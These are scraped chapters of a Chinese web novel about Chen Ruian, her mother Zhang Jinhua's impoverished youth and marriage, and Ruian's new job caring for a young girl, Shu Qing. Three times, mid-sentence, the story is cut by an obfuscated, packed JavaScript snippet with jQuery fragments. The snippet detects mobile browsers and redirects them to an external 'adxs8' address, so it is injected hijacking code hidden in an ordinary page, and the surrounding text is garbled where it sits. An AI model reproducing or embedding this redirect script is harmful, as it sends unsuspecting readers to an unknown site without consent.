张金花越长大，就越成为他们中的一员。 张金花也无暇给予弟妹更多的温情。有时，她也会觉得他们可怜，于是会用她小小的权力，给哪个身体弱的、受委屈的孩子多舀一勺粥，但也到此为止了。她实在没有更多的力气，来把他们抱在怀里安慰，或轻声细语地讲道理。 而且，她也饿。她还有那么多的活儿要做，起早贪黑也做不完。她总得自己先吃饱。 张金花大了，村里的男孩子就常常来招惹她。他们往她身上丢恶心的虫子，远远地念嘲笑她的顺口溜。 张金花知道，他们根本不讨厌她，恰恰相反，他们喜欢她，因为她漂亮、能干。但那又如何呢？他们的爹娘交口称赞她勤劳肯干，但他们并不乐意有个穷亲家，更何况还拖着那么多嗷嗷待哺的娘家弟妹。 正好，张金花也不喜欢他们。 张金花不想嫁个穷人家。那意味着，她依然需要起得比鸡早、睡得比狗晚，一边争分夺秒地在田地里耕耘，一边洗衣做饭、缝缝补补，然后生一窝因为吃不饱而整天哭闹不止的孩子，忍受着腰背疼痛、垂到腹部的乳/房，一直到疲劳地死去。 她把虫子丢回去，向嘲笑她的男孩子扔石头。 嫁到河头县的堂姑回村探望娘家，她说，河头县有一户姓陈的人家，想找个媳妇，不拘家境贫富，人品好、身体好就行。村里的三姑六婆都围过去了，村里人都觉得河头县是个好地方，女孩儿能嫁过去，那可是扎扎实实的好命。 她们追着堂姑问，那家人几口兄弟、做什么营生、公婆好相与吗？ 堂姑说，独生子，没有兄弟姐妹，以后家产都是他一个人的。 那好呀！围着的女人们更起劲儿了。 堂姑说，是个小生意人，挣得可多，每年过年都回家。 女人们有些踌躇了。男人一年才回一趟家，这不成守活寡了么？但是话又说回来，守活寡也有守活寡的快活之处，好多妇人与男人朝夕相对，比寡妇还可怜呢。 堂姑说，只是有一件不好，他爹身子不好，半年前得了卒中之症，不过如今好多了，吃饭解手自己都做得来，也就话说得不大好。 女人们面面相觑。卒中之症么，常有老人得，不稀罕。只是这男人的爹虽说是大好了，但得了卒中的人，往往复发的居多，儿孙们辛辛苦苦伺候着，好容易能站起来走两步了，保不齐哪天又复发了；复发了，两脚一蹬死了倒轻松，难的是往床上一躺、迟迟不死，要人把屎把尿，拍不完的痰、洗不完的床单褥子，儿孙们尽孝尽得形容憔悴，常有互相推诿，闹得阖家鸡犬不宁的。这家人偏偏又只有一个出门在外的儿子，做婆婆的，可不得使劲儿磋磨这仅有的一个媳妇么？把女儿嫁到这样的人家，岂不是等同把女孩儿往火坑里推！ 女人们支支吾吾，客套了几句，说些一定帮着留意的空话，渐渐地都散了，只剩堂姑一个人。堂姑独自嗑着南瓜子，感到有些无趣。 一直在角落里喂妹妹吃稀粥的张金花忽然张口，问堂姑：“能吃饱吗？” 堂姑愣了一下，问：“什么吃饱，你说啥？” 张金花说：“堂姑，你刚刚说的那户人家，嫁过去能吃饱吗？” 堂姑忙说：“哦哦哦，能能能，不止能吃饱，还能吃上鸡蛋呢，他家喂了两只鸡。” 张金花说：“那就行了，我愿意嫁过去。” 堂姑回河头县告诉了陈家娘，陈家娘立马提了鸡蛋来村里看张金花。届时张金花那时正挑着一桶粪要下地呢，陈家娘见了她，笑得堆起一脸褶子。张金花知道，陈家娘是满意她能吃苦。 爹娘原本不愿意张金花这么早出嫁，但陈家娘提了一个彩礼的数，他们立马收起了不满，甚至开始笨拙地溜须拍马了。 反正二女儿已经长大，可以接替大女儿了。 临分别前，张金花向陈家娘提了一个条件：要先去河头县的陈家看一看。陈家娘一口答应，说没问题，我儿子不在家，也没啥好忌讳的。 当天，张金花就跟着陈家娘去了河头县。 张金花十七岁了，还是第一次进城，眼睛都看直了——路面都是平整的，也没有粪味儿；路上小摊小贩，卖什么的都有；行人个个衣冠整洁，即使老人也身姿挺拔，不似乡下人，指甲缝里总沾着洗不净的泥，四十来岁背就弓如河虾，怎么也挺不直。 陈家娘绕进一个巷口有棵大榕树的巷子，带张金花进了陈家的房子。房子是青砖砌的，大大的堂屋，足足有六间屋子，厨房后还有一间大堆房；院子不大，后院种了些菜，前院养了两只鸡。 陈家娘替她收拾屋子，说这间房从前是孩子他爷爷奶奶住的，如今空着，你将就住一晚。在家里，张金花同四个妹妹挤一张大通铺，夜里这个的腿那个的手胡乱架在别人身上，要翻身都难。如今这么大一个房间，只住她一个人；陈家娘把垫絮铺得厚厚的，她从来没有睡过那么软的床。 在柔软宽敞的大床上，张金花沉沉睡去。迷迷糊糊间，她好像被一朵云托着，越升越高、越升越高，渐渐地被许多云包围着，云朵的缝隙间透出柔和的光，照得她暖洋洋的。忽然，一个声音说：“金花，饭还没做好吗？”她慌忙找声音的来源，一回头，发现爹娘就坐在她身后那朵云上—— 张金花惊醒了。她睁开眼，看见满屋陌生的陈设，又摸摸身上的被子，莫名流下泪来。 第二天，张金花早早就醒了。在家时，一日三餐都归张金花管，因此她为了做早饭，总是第一个起床；如今在陈家，她不必做早饭，但习惯使然，醒了以后也再睡不着了。 推开房门，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117778|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听见厨房里传出声音，是陈家娘在做早饭。张金花寒暄道，起这么早哪？陈家娘笑笑说，昨天回来得太晚，晚饭吃得随便，今天你回家，我想着早饭怎么也得做丰盛些，好好招待你，否则太说不过去。 昨晚吃的是挂面，陈家娘特意往张金花那碗卧了两个鸡蛋。 精面和鸡蛋，张家逢年过节才能吃上一回的东西，在陈家眼里叫随便！ 张金花要给陈家娘打下手，陈家娘连连推辞，说不能让客人沾手。张金花一再坚持，她才松了口。 张金花并非要在陈家妈面前展现自己的乖觉。 她打开橱柜拿碗盘时，她看见篮子里还装着约莫两三斤的挂面；揭开米缸舀米时，里面的大白米满满当当。 她要确信，这些食物不是诱饵，而是真实的、肉眼可见的未来。 洗过米和菜，陈家娘就把张金花赶去洗漱，不要她再插手。张金花洗漱完毕，陈家娘说，好啦，开饭啦。 桌上摆着一碗土豆红烧肉、一盘蒸腊肠、一个切开的咸鸭蛋、一盘青菜。陈家娘去伺候陈家爹起床吃饭的时候，张金花她忍不住凑上去闻每一道菜，闻得舍不得呼气，只觉胃肠中馋虫翻滚，对食物的欲望忽然被无限放大，简直想要立即上手拣一块来吃。 陈家爹坐上桌，和蔼地同她问好，问些家里情况。张金花听着费劲，但也耐心一一答了。 诚如堂姑所说，陈家爹说话说不清楚，左半边身子不大灵活，别的倒都还好。 吃饭时，张金花不好意思夹红烧肉，在家里，过年烧一碗肉，要掺着萝卜青菜吃到正月十五。她只一个劲儿地夹土豆。 土豆是手心一般大的小土豆，每个削皮切作两半，十分软糯。陈家娘烧的红烧肉，收汁没有收干，留了半碗的汤。炖了快一个时辰，肉已经炖得相当软烂，肉香早已融进汤中；加上土豆，相当于勾了一层薄芡，汤汁愈加浓郁。张金花每夹起一块土豆，上面都裹了满满的汤汁，放在米饭上，饭也沾了红烧肉的香。 张金花埋头苦吃，香得头都抬不起来。 她一个劲儿地吃土豆，只是不夹肉，土豆都见底了，硬是从肉堆里找土豆出来吃。陈家娘见了，看不过眼，另抽了一双筷子，挑了好几块肥瘦相间的好五花肉到张金花的碗里。 张金花推辞不过，只好夹起来吃了。天老爷，肉怎么会这么好吃？张金花家里不是没吃过肉，过年了桌上总要摆些荤菜，只是多半是腊肉，或是便宜些的坐臀肉、槽头肉，总是瘦而柴的。而桌上这碗红烧肉，肥瘦相间，肉质鲜嫩，肥肉入口即化，瘦肉嚼起来口齿生香。 伴着土豆和陈家娘给夹的几块肉，一大碗饭很快见了底。张金花终于放下碗，抬起头，看向陈家娘。 陈家娘看她这样子，知道她在家恐怕连吃饱也难，心里怜惜，说：“好孩子，饭有的是，肉也还有，再多吃些。” 谁料，张金花站起来，后退一步，扑通一下，朝着陈家二老跪下了。 陈家娘吓了一跳：“我的儿，这是干什么？快起来。” 张金花磕了个头，说：“我那个家，算不得家。您二老好心，愿意给我个家，有用得着我的地方，我把您二老当我的亲爹娘，尽心尽力，绝没有一个不字。” 5. 新晋打工人 奶奶说：“就这样，你娘成了我们家的媳妇。再然后，就生了你哥和你。” 陈瑞安听得瞠目结舌、心潮澎湃。她没想到，娘居然还有这样的过往。张金花从来不提起从前的事，孩子们也曾好奇问起来，她就说，吃没得吃、穿没得穿的，净是些苦日子，有什么好说的？哪像你们现在过的这么舒服。 除了那个后来被扫地出门的堂姑，张金花也从来不与娘家人联系。邻居问起来，她就说离得太远，何况这边两个老人、两个孩子，桩桩件件的事情，离不开人。嫁出去的女儿泼出去的水么，家里的事原也轮不到出嫁女来管，邻居们也并不见怪。 如今想来，离开了那个家，张金花合该放鞭炮庆祝才对，又岂会自讨苦吃，再去过问！ 在陈瑞安心目中，娘亲张金花是天下第一等想得开的人。爱吃爱玩，有气就撒，有火就骂，从不庸人自扰，也绝不会让别人在自己这里讨得一点便宜。 陈瑞安没有想到，少女时期的张金花，居然承受着如此巨大的苦闷，而又如此勇敢！ 许多从前没有想明白，朦朦胧胧的事情，陈瑞安这才恍然大悟。正因为张金花自己小时候干了太多的活、吃了太多的苦，她不舍得让孩子们同她一样，把童年都埋没在这些繁重的家务里。所以，即使家里的家务多得做不完，她宁肯自己少歇一会儿、多做一点，也不肯让孩子们插手。也正因此，堂姑说那样的话的时候，她才会如此生气。 这次的事情也是一样。娘不希望陈瑞安去苏先生家照顾苏小姐，并不是觉得丢人，而是不愿意她早早为了补贴家用而辛劳，不希望她重蹈自己的覆辙啊！ 奶奶的一番话，搅得陈瑞安百感交集，低着头想心事，越想越不是滋味。再抬头时，才发现头发不知何时已经晒干，奶奶更是早已回屋看顾爷爷去了，如今夕阳西下，已经快到吃晚饭的时间。 陈瑞安在厨房找到娘，从背后一把抱住她，头深深地埋在她的颈窝里。不知何时，自己已经比娘还要高了。 张金花正把菜盛到盘子里，给陈瑞安这忽然的一抱吓了一跳：“干嘛呢？” 陈瑞安拿头蹭了娘两下：“表达对您的爱。” 张金花摸不着头脑，忍不住笑出来：“莫名其妙。” 陈瑞安说：“奶奶刚才跟我说了您年轻时候的事情。” 张金花顿了一会儿，才说：“老娘现在也年轻得很。” 陈瑞安说：“娘，好娘。您的苦心我都知道，您都是为了我好。但是舒家呢，我还是要去。其一呢，我今天去见了舒先生，情况我都了解了，这份工作一点儿都不累，什么粗活重活都不用干，就是陪一个七岁的小孩玩儿，我应付得来。其二，您看我天天在家闲着，也无非是招猫逗狗地荒废掉了，如今舒小姐做功课，我在一旁陪着，也能跟着学到一些东西，从前我跟哥哥学认字，您不是很高兴吗？这么好的事情，居然还能赚钱，一个月有整整两贯呢！何乐而不为呢？” 张金花叹了口气：“我上次在夜里洗衣服，听见有什么老鼠似的东西，我一回头就窸窸窣窣地跑了，是你吧？” 陈瑞安嬉皮笑脸地说：“是我，我是大老鼠。确实也有这方面的原因，毕竟，您是家里的顶梁柱嘛！把您累坏了，我怎么办，爷爷奶奶怎么办呀？我可不能让这种事情发生，不然爹回来，该骂我和哥了。” 说着，陈瑞安感觉有什么湿湿热热的东西淌到脸上，伸手一摸，原来是张金花的眼泪。 张金花女士铁骨铮铮，陈瑞安何时见她哭过？她忙不迭地用袖子去给娘擦眼泪，一面自己也忍不住落下泪来。母女二人泪眼婆娑，四目相对，都觉得心里酸酸涩涩，而又沉甸甸地安心。 陈瑞安握着张金花的手，说：“娘，我跟哥一定会让你过上好日子的。” 张金花一把把她的手打掉：“闭嘴，不许说了。吃饭。”说着，打瓢水抹了一把脸，端菜上桌去了。 陈瑞安痛地龇牙咧嘴，只好安慰自己，打是亲骂是爱，爱到深处用脚踹。 翌日，新打工人小陈早早起床，小跑到了舒家的宅子。 刘婶一边鼻子不是鼻子、眼睛不是眼睛地替陈瑞安开了门，一边吩咐道：“舒先生已经去学堂了，小姐还没起床呢。小姐住东厢房，你先去把她拎起来，帮她穿好衣服；然后拿上她架子上的盆，来厨房水缸里给她打洗脸水去，盯着她刷牙洗脸，她自己会洗，只是爱犯懒；面脂也给她抹上，在哪儿你问她；然后给她梳好头发，带到正房吃早饭。早饭我放在锅里热着，你好了叫我，我端去。” 刘婶不知有心无心，语速飞快，陈瑞安只好竖着耳朵听，一边连声应了，一边努力记下。 打工人小陈正式开始了一天的劳作。 刘婶叫她把舒青舒小姐“拎起来”，这个“拎”字实在用得传神。 舒小姐呼吸深沉而均匀，睡得很香甜，蜷缩在床的边缘，乖得如同一只小猫。陈瑞安轻手轻脚地走进舒小姐的房间，轻声呼唤：“青青，起床啦。” 舒小姐毫无反应。 陈瑞安轻轻摇了摇她的肩膀：“青青，太阳照屁股啦，该起来啦。” 舒小姐缩了缩。 陈瑞安戳戳舒小姐的小脸蛋，俯在她耳边：“青青~” 舒小姐哼唧了两声。 陈瑞安加大了音量：“青青！” 舒小姐眼睛睁开一条缝，惊喜地发现喊她起床的人居然不是刘婶，而是昨天刚认识的小姐姐，甜甜地喊道：“姐姐~” 陈瑞安：“诶。” 然后舒小姐翻了个身，继续睡过去了。 …… 最后，陈瑞安只好把舒小姐从床上整个扛起来，让她靠着床坐下，给她穿上衣服鞋子，再扶着她站起来——这才算把她“拎”起来了。 仅仅起床一项，陈瑞安感觉自己的能量已经被耗光，更不必提后面的刷牙洗脸梳头发了。七岁的孩子，简直像刚从水里捞出来的鱼，一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117779|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓一出溜，一个没看住，不知道又跑到哪里去了。等把舒小姐伺候到了饭桌前，陈瑞安感觉自己像刚打完一场仗，这辈子都没这么累过。 早饭是白粥、外头买的胡饼、腌萝卜。最近米价面价高昂，能有精米精面吃，陈瑞安已经心满意足。 吃着早饭，刘婶端来一盘洗过的枇杷，说：“这是今早佃户送来的，说是城外山上摘的。山上的果子熟得晚些，这是今年最后一批枇杷了，吃完再也没有了。舒先生说给你们分着吃。” 舒小姐立马放下吃到一半的早饭，剥了一颗枇杷吃，评价道：“甜，比前几次的好吃。” 陈瑞安也拿了一颗。这盘枇杷一看就是好枇杷，大约是佃户精挑细选出来的，每一颗个头都很大，外皮也都没有损伤；色泽橙黄，可见已经很成熟，皮也是轻轻一撕就掉下来了；放进嘴里，尝起来肉质偏软，味道的确很清甜，汁水充足，果香也浓郁。 刘婶紧盯着陈瑞安吃完了这颗枇杷。陈瑞安给她盯得发毛，不敢再吃了，转而关照舒小姐：“吃小心些，别把核给吞进去了，卡住了不是玩的。你先把碗里的粥吃完，干脆枇杷叫刘婶拿回去，待会儿再拿给你当点心。” 舒小姐撇撇嘴：“不要拿走。这回的枇杷好吃，一会儿我要拿去给娘吃。” 刘婶不许：“夫人这些天咳嗽得厉害，我看是前几日贪凉，晚上坐在院子里吹风吹的，感了风寒。果子都是生冷的东西，夫人不能吃。” 这么热的天还能感上风寒，也真是奇事，舒先生说舒夫人身体不大好，难道就弱到这种程度？ 陈瑞安忍不住问刘婶：“夫人嗓子痛不痛，有痰没有，是否流涕？” 刘婶答：“常说嗓子痛，有痰、流涕。” 陈瑞安接着问：“痰涕色黄还是色白？” 刘婶纳罕道：“色黄。你问这么多干什么，难道你还会做郎中不成？” 陈瑞安道：“算不上，我爷爷卒中说不清楚话，给他看病要看症状，我跟着学了一些。夫人不是染了风寒，你说的这些，恰恰是风热的症状，正该吃些辛凉解表、疏风散热的东西才对。” 刘婶将信将疑：“果真？” 陈瑞安见刘婶不信，接着问诊：“夫人是不是不仅不怕冷，还全身热重，微微出汗？” 刘婶这下服气了：“还真是！我还以为是因为天气太热，闷出的汗呢。” 舒小姐忙问：“那娘是不是可以吃枇杷？” 陈瑞安点点头：“可以。” 舒小姐欢呼，丢下饭碗，要把枇杷送给舒夫人。 刘婶急忙拦住：“还是不行。夫人脾胃虚弱，向来不吃凉的东西，也不喝凉水，否则便会腹痛腹泻。” 连凉水都不能喝！看来舒夫人的身体是真的不大好啊。 舒小姐很失望：“枇杷这么好吃，娘却不能吃……” 陈瑞安看得心软，说：“谁说不能吃？不能吃凉的，那把枇杷做成热的不就行了？” 6. 柳弱花娇大美人 刘婶皱起眉头：“枇杷做成热的，那怎么吃？” 陈瑞安胸有成竹：“反正我有办法。青青，等你把你碗里的粥和饼吃完，我就带你去做热枇杷吃。” 舒小姐从前进厨房，刘婶总是嫌她捣乱，把她赶回内院，搞得舒小姐愈发觉得做饭是件神秘又好玩的事。能和陈瑞安一起去厨房做一道从没听说过的热枇杷，舒小姐十分兴奋，三下五除二，很快把剩下的饭扒拉完了。 刘婶嘀咕道：“平日里叫你吃饭，总说不饿不饿，剩一堆，过会子又找我要点心。瞧瞧，这不是能吃完么？” 三人进了厨房，刘婶在前头带路，舒小姐自告奋勇在后面端着枇杷。 陈瑞安问刘婶：“冰糖在哪里？” 刘婶指给她：“就在你身后那个橱柜里，右面最上面一层。” 陈瑞安打开橱柜翻找冰糖时，见橱柜里还有许多干货，便拣了些能用的一起拿出来。 刘婶看了看她拿出来的东西，狐疑道：“银耳倒也罢了，枸杞和百合是我从前给夫人煮安神茶时，从药店抓来的，这也能用上么？你要给夫人抓副药不成？” “说是药呢，倒也不算错；说是点心，也对。”陈瑞安掂量着分量，择出一些银耳和干百合洗净泡发，“老祖宗说，‘药食同源’，食物本就有药性，药嘛，吃进嘴里的，其实也无非是一种特别的食物。我听郎中说，大米小麦这些顿顿都吃的粮食，尚且还记载在《本草纲目》里，能作药用呢。” 怕舒小姐过了新鲜劲儿无聊，陈瑞安便盯着她洗了手，要她跟着一起剥枇杷肉。舒小姐从《三字经》里学到过“香九龄，能温席；孝于亲，所当执”的道理，自认为能为母亲剥枇杷治病，也算一种“孝于亲”，很乐在其中。 刘婶一边剥枇杷，一边说：“做个点心，倒给你说得这么玄乎。我也懂这个，人大病初愈，要喝鸡汤、鱼汤，这叫滋补；暑天太阳毒，人容易上火发痧，就要吃些苦瓜，降火用的。是这个道理不是？” 陈瑞安笑道：“是，说得很对，刘婶很有天赋，该去做个女郎中。” 剥好的枇杷放在案板上，去核切块备用。 刘婶找出来一个煮药用的小炉子，取两块冬天没用完的炭点上，又寻了个汤盅架在上面，拿来煮糖水正正好。 陈瑞安往盅里加入适量水，倒入泡好的银耳、百合和冰糖，盖上盖子，煮至银耳微微起胶。看着差不多了，再揭开盅盖，加入枇杷果肉，直到把汤汁收得稠稠的，最后撒入一把枸杞，略煮片刻，舀一勺尝尝甜淡，就可以盛出装碗了。 一道枇杷百合炖银耳，装在青花小碗里，白是白、黄是黄，还有枸杞点缀的几星红色，煞是好看。银耳经过慢炖，变成半透明的胶状，晶莹剔透，铺在碗底；枇杷橙黄色的果肉，镶嵌在银耳之间，鲜亮而诱人。 “姐姐，你好厉害呀！我还从来没吃过这么漂亮的点心呢。”舒小姐端着小碗左看右看，越看越喜欢。 看起来小小的一个白瓷汤盅，盛出来倒足足有四个小碗。舒小姐和舒夫人一人一碗，再留一碗给舒先生，反正舒先生没有虚弱的肠胃，这糖水凉了也一样好吃。陈瑞安想了想舒先生让她和舒小姐“分着吃”的嘱咐，拿胳膊肘顶了一下刘婶，道：“还多出来一碗，一会儿咱们分着吃。” 刘婶分明喜欢得眼睛都快粘在这几碗炖枇杷上了，听了这话，硬板起脸来，道：“我不吃。主人家的东西，没有我做下人的吃了的道理。” 陈瑞安悄悄撇嘴。 舒小姐找来上菜用的木托盘，把两碗糖水和两个勺子放在上面，要亲自端去母亲的卧房，和母亲一起吃。 陈瑞安跟着舒小姐一起去送糖水，提防她端不稳摔了；刘婶留在厨房里善后。 舒小姐小心翼翼地端到舒夫人床窗前，远远就向舒夫人喊道：“娘！姐姐给你做了好吃的！” 舒夫人正歪在床上，手里还拿着一个绣绷，正在绣一条孩子穿的肚兜，听见声音，才抬起头，温柔地朝舒小姐笑。 陈瑞安还是头一回得见舒夫人，结结实实被惊艳了，自从穿越过来，她还从未见过这么美的女人。真真是柳弱花娇，顾盼生姿，人苍白而出尘，轻盈得如同一根羽毛，一双眼睛却温柔多情，长长的睫毛一扑闪，看得人心也醉了。舒小姐眉眼像舒先生，脸型和嘴唇却是来自舒夫人，下巴窄而尖，唇如仰月，线条柔婉。 舒夫人揽过舒小姐，叫她把托盘放到小茶几上，看了眼托盘，惊喜道：“啊！是枇杷。我有好些年都没有吃过枇杷了。上一次吃……那时青青恐怕还不会走路呢。” 美人的声音也好听，轻柔而微哑，拂得人心上痒痒的。 陈瑞安好容易才从欣赏美色中回过神，忙道：“枇杷止咳祛痰、银耳滋阴益气、百合养阴润肺、枸杞解热止咳、冰糖化痰祛火，这些东西都是对夫人的症的，夫人放心吃。” 舒夫人笑道：“原来你还有做药膳的才能。不必这么拘谨。我本姓孙，你叫我孙娘子——不，既然青青喊你姐姐，你叫我伯母就好。刘婶在外面喊我夫人喊得周到，其实私底下，还叫我的小名阿瑜呢。” 陈瑞安暗想，孙阿瑜，好听，像个美人的名字。 孙阿瑜问陈瑞安：“你几岁了？” 陈瑞安答：“满十三了。” 孙阿瑜点点头，说：“比青青大五岁。我身子虚弱，风吹不得、路走不得，平日里也就只能屋内绣绣花，多谢你帮我照顾青青。我们这附近住的人家少，没有同青青年龄相仿的小姑娘，刘婶和她父亲各自有事要忙，也没人能常带她出去逛逛。她整日闷在家里，也每个人能陪她玩，我见她孤孤单单，心里总觉得愧疚。如今有你来了，我总算放心些。” 陈瑞安赶紧说：“青青很听话，也不吵闹，好带的。” 孙阿瑜点头微笑，道：“这炖枇杷是你做的？真是好看，你手真巧，我只怕你太劳累了。” 陈瑞安道：“不劳累，青青还给我帮忙了呢。” 舒小姐早等不及，催孙阿瑜：“娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117780|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你快吃吃看，这个枇杷是我跟姐姐和刘婶一起剥的。” 孙阿瑜夸奖了舒小姐，拿起勺子，舀了一勺，送入口中细细品尝。 舒小姐迫不及待地问：“怎么样？” 孙阿瑜惊喜道：“很好吃。甜中带些微酸，清爽，可口；银耳和枇杷都炖得很软烂，很好入口。”又换个勺子喂了舒小姐一勺，道：“你试试吃。” 舒小姐吃进去一大口，还没咽下去，就连连点头，发出含糊的“好吃好吃”。 孙阿瑜问陈瑞安：“吃了这两碗，还有剩的么？” 陈瑞安答：“还有剩。夫人——不，伯母还要再吃一碗么？” 孙阿瑜摇摇头：“这一碗就足够了。青青人儿小，也不要给她多吃。剩下的，你同刘婶趁热分了吃，不必给你舒伯伯留，他回来时就该吃晚饭了。” 陈瑞安应下，心里又对孙阿瑜又多了几分好感。 等母女二人吃完，陈瑞安留舒小姐同孙阿瑜说话，自己把托盘和吃完的小碗端回了厨房。 刘婶还在洗碗，见陈瑞安进来，道：“拿过来，我一起洗。” 陈瑞安端过去，道：“伯母说了，剩下的让我们俩分着吃。” 刘婶冷哼一声：“你倒是喊得亲热。” 陈瑞安忙得有些累了，搬了把板凳自顾自地坐下，向刘婶道：“刘婶，不要这样嘛。” 刘婶明知故问：“哪样？” 陈瑞安道：“有我来了，您专心洗衣做饭，既轻松一些，又不必担心青青磕着碰着，您该高兴才是。青青呢，如今有我陪着她玩，她就不会像从前那般孤单了，她也开心。我能赚到钱，我也开心。如此，这该是一件皆大欢喜的大好事，您又何必总提防着我呢？” 刘婶嘴硬：“我可没有，这是你自己说的。” 陈瑞安决定打个直球：“其实您是觉得我来了，抢了您的活儿，让您觉得不那么被需要了，没错吧？” 刘婶一下子急了：“谁说的？你不要随便揣测别人。” 陈瑞安道：“青青说的。她刚刚洗脸的时候偷偷同我说的。”虽然她其实自己也看出来了，但舒小姐小小年纪就有如此洞察力，实在是个妙人儿。 刘婶哽住，不说话了。 陈瑞安接着开解：“您千好万好，毕竟是大人；我就算再比不上您，毕竟是孩子。青青总归是要同孩子玩的，这样才利于她的性格发展呀，您说是吧？” 刘婶依旧沉默，但背影隐约有些动容。 陈瑞安再接再厉：“我再说句多嘴的话，舒先生和伯母两个人，那对您真好比家里的亲长辈。舒先生上次同我说，您年纪大了，有什么费力气的事情，叫我力所能及地也搭把手。要我看，他们找我来，不是觉得您年纪大了没有用，实在怕把您累坏了，让我来给您搭把手的呀。” 刘婶还是不说话，只留给陈瑞安一个倔强的背影，但悄悄举起了袖子揩眼泪。 陈瑞安心满意足，功成身退，出去找舒小姐玩了。 7. 美好生活要靠劳动来创造 陪舒小姐写字是个费力活儿。 舒小姐每日要练十张大字、一张小字。大字是临摹颜体，小字写的是舒先生新近教她的《诗经》。 舒小姐爱练小字，因为写小字时可以念念有词地跟着读，“关关雎鸠，在河之洲”，都是押韵的，有趣儿，而且写的都是前一日新学的诗，新鲜；不爱练大字，因为舒先生要求她每天只练一个字，倘若舒先生回来一检查，认为还没有过关，隔日还得接着练。同一个字，写上十张，乃至二十张、三十张，多无趣啊！ 今日，舒小姐写的是个“五”字，写得呵欠连天、唉声叹气。 每写完一张，舒小姐都要数一数，还剩多少张。一数，天哪，写了这么久，居然才写了四张！还剩六张要写，这可怎么熬呀！ 舒小姐扁扁嘴，把笔一摔，不肯写了。 陈瑞安劝道：“接着写呀，早点写完，我们才能早点玩儿呢。” 舒小姐不开心：“但是我不想写了。” 陈瑞安循循善诱：“你现在不写，还剩六张在那里等着你，岂不是把时间都浪费在使性子上了，学也没有学到，玩也没有玩到，多划不来呀。” 道理都明白，但执行起来总是很困难。舒小姐灵机一动，用可怜的小眼神看向陈瑞安：“我们先玩，玩完了再写，好吗？在爹爹回来之前，我一定全都写完。” 陈瑞安严词拒绝：“不行。” 舒小姐终于不情不愿地铺上下一张宣纸，开始接着写字了。 陈瑞安鼓励她：“等你写完了，我们玩跳房子。” 舒小姐好奇地问：“什么是跳房子？” 陈瑞安想了想，道：“这样吧，你在这里写字，我去外面画格子，等画好了，我再对着格子给你解释。你快快写哦，不然等我画完了，你还没有写完，到时候看着格子干着急。” 找来一块木炭，陈瑞安开始在院子里画格子。先画一个大大的正方形作为起点，再在它的上面画两个一样大小的正方形，接着，在上面一排改为画两个横向相邻的正方形，如此单双相间，一共画了八个格子，最后在顶部加上一个半圆，跳房子的格子就画好了。按道理，应该在这一共九个方方圆圆的格子里依次填上数字1至9，但古代没有阿拉伯数字，陈瑞安就用汉字代替。 正专心填着数字，忽然一个声音在陈瑞安耳边响起：“姐姐，你的字写得太丑了！”陈瑞安吓了一跳，抬头一看，舒小姐不知何时跑了出来。 虽然字确实蛮丑的，但被一个七岁的小孩说字丑，陈瑞安还是觉得脸上有些发热。为了报复舒小姐的直言不讳，她明知故问道：“你的大字写完了？” 当然没有写完！舒小姐心虚，两只眼珠骨碌碌一转，开始转移话题：“你看看你的‘五’字，且不说什么侧锋藏锋了，你的横和竖分得那么远，都不连在一起，好像一个人的五官全部分得开开的，难看死了！” 陈瑞安忿忿不平道：“我都多少年没拿过笔了，还会写字就不错了，还讲究什么好看不好看的！字嘛，能认出来就行。” 从小受到书法教育的舒小姐完全不认同陈瑞安的实用论，抢过木炭来，要给陈瑞安示范。奈何地面不是宣纸，阻力太强；木炭也不是毛笔，写不出侧锋藏锋来。舒小姐写得着急，干脆把木炭一丢，把陈瑞安拽到屋里：“我有多余的笔，还有纸，我拿纸笔教你写。” 舒小姐先在自己练大字的纸上写了一个“五”字，说：“‘五’字里面有三横，第一二横短、第三横长，你的三横全部都很长，张得开开的，所以不好看。” 从前跟哥哥学认字的时候，陈瑞安也学写过几个字，因此倒还拿得来毛笔。只不过，穷人家的孩子读书，往往实用为上，字看得过眼就行，因此陈瑞平自己的字就很平平，更别提拿来教妹妹了。她握着笔，照着舒小姐说的，两横短、一横长，写了一个“五”字。 舒小姐检查她的字，失望地摇摇头，左看右看，终于又研究出一个毛病来：“我写的竖是斜的，这样横竖均匀，看起来才稳固优美；你写的竖都是直愣愣的，所以看着呆板。” 除了这些，舒小姐倾囊相授，把什么“中锋”、“藏锋”的技巧都教给陈瑞安，陈瑞安满头大汗地跟着学。 舒小姐示范着，不知不觉间，竟把自己的十张大字都写完了，犹未教过瘾，还多写了几张。 忽然听见刘婶在外面说话，陈瑞安抬头一看，才发现舒先生竟提前散学回来了。 陈瑞安又低头看看被自己的丑字糟蹋了的几张纸，方才想到纸和墨都不便宜，她陪小孩做功课，自己反倒玩上了，颇有些不合适。 然而要藏也来不及了，舒先生已经走进来。 